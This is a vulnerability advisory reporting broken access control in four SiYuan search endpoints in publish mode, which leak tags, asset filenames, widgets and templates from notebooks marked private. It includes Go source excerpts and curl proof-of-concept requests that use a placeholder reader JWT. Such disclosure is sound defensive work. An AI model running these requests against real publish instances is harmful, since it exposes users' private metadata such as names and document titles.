SiYuan has broken access control in `/api/search/{searchAsset,searchTag,searchWidget,searchTemplate}` publish-mode

### Summary The advisory `GHSA-c77m-r996-jr3q` patched `getBookmark` so that, when invoked by a publish-mode `RoleReader`, results are filtered through `FilterBlocksByPublishAccess` to remove entries from password-protected / publish-ignored notebooks. Four sibling search handlers in the same file did not receive the equivalent treatment and continue to expose metadata across the publish-access boundary. ### Details **Affected files / lines (v3.6.5):** `kernel/api/router.go:181-190` — all four endpoints registered with `CheckAuth` only, which the publish-service `RoleReader` JWT passes: ```go ginServer.Handle("POST", "/api/search/searchTag", model.CheckAuth, searchTag) ginServer.Handle("POST", "/api/search/searchTemplate", model.CheckAuth, searchTemplate) ginServer.Handle("POST", "/api/search/searchWidget", model.CheckAuth, searchWidget) ginServer.Handle("POST", "/api/search/searchAsset", model.CheckAuth, searchAsset) ``` `kernel/api/search.go` — none of the four handlers branches on `model.IsReadOnlyRoleContext(c)` to filter the response, while their *peers* in the same file do. Compare: ```go // :29-65 listInvalidBlockRefs — DOES filter: if model.IsReadOnlyRoleContext(c) { publishAccess := model.GetPublishAccess() blocks = model.FilterBlocksByPublishAccess(c, publishAccess, blocks) } // :67-93 getAssetContent — DOES filter (FilterAssetContentByPublishAccess) // :95-115 fullTextSearchAssetContent — DOES filter // :250-285 getEmbedBlock — DOES filter (FilterEmbedBlocksByPublishAccess) // :156-176 searchAsset — does NOT filter ret.Data = model.SearchAssetsByName(k, exts) // :178-196 searchTag — does NOT filter tags := model.SearchTags(k) ret.Data = map[string]any{"tags": tags, "k": k} // :198-213 searchWidget — does NOT filter widgets := model.SearchWidget(keyword) // :233-248 searchTemplate — does NOT filter templates := model.SearchTemplate(keyword) ``` `model.SearchAssetsByName`, `model.SearchTags`, `model.SearchWidget`, `model.SearchTemplate` operate over the entire workspace database / filesystem, not just the publish-visible subset. A `FilterTagsByPublishIgnore` helper *already exists* in `kernel/model/` and is used by `getTag` itself (`kernel/api/tag.go:58-62`), confirming the maintainers' intent. ### PoC End-to-end reproduction requires enabling the SiYuan publish service, marking one notebook as private to publish access, and obtaining a `RoleReader` JWT from the publish reverse-proxy (per `kernel/server/proxy/publish.go`). Once authenticated as the Reader against the publish port: ```bash # Returns ALL tags across the workspace, including ones drawn only from the publish-private notebook. curl -X POST https://<publish-host>/api/search/searchTag \ -H 'Authorization: Bearer <reader-jwt>' \ -H 'Content-Type: application/json' \ -d '{"k":""}' # Returns ALL asset filenames (e.g., CV.pdf, contract.docx, salary-2026.xlsx) regardless of source notebook. curl -X POST https://<publish-host>/api/search/searchAsset \ -H 'Authorization: Bearer <reader-jwt>' \ -H 'Content-Type: application/json' \ -d '{"k":""}' curl -X POST https://<publish-host>/api/search/searchWidget -H '...' -d '{"k":""}' curl -X POST https://<publish-host>/api/search/searchTemplate -H '...' -d '{"k":""}' ``` Each call returns the global result set without applying `FilterTagsByPublishIgnore` / `FilterAssetContentByPublishAccess` / equivalent. In this audit I source-confirmed the missing branch in v3.6.5 but did not stand up the full publish-service flow. The fix is straightforward enough that the source-level evidence should be sufficient for triage. ### Impact A publish-service Reader (the role assigned to anonymous publish visitors by default) can enumerate: - All tag strings used anywhere in the workspace — frequently contains person names, project codenames, internal identifiers. - All asset filenames uploaded to the workspace — frequently contains the contents of `CV.pdf`, `contract.docx`, `salary-2026.xlsx`, etc. - All widget names and template names installed in the workspace. This violates the publish-service trust boundary. Users intentionally mark notebooks as "invisible to publish" specifically to keep this metadata out of public reach.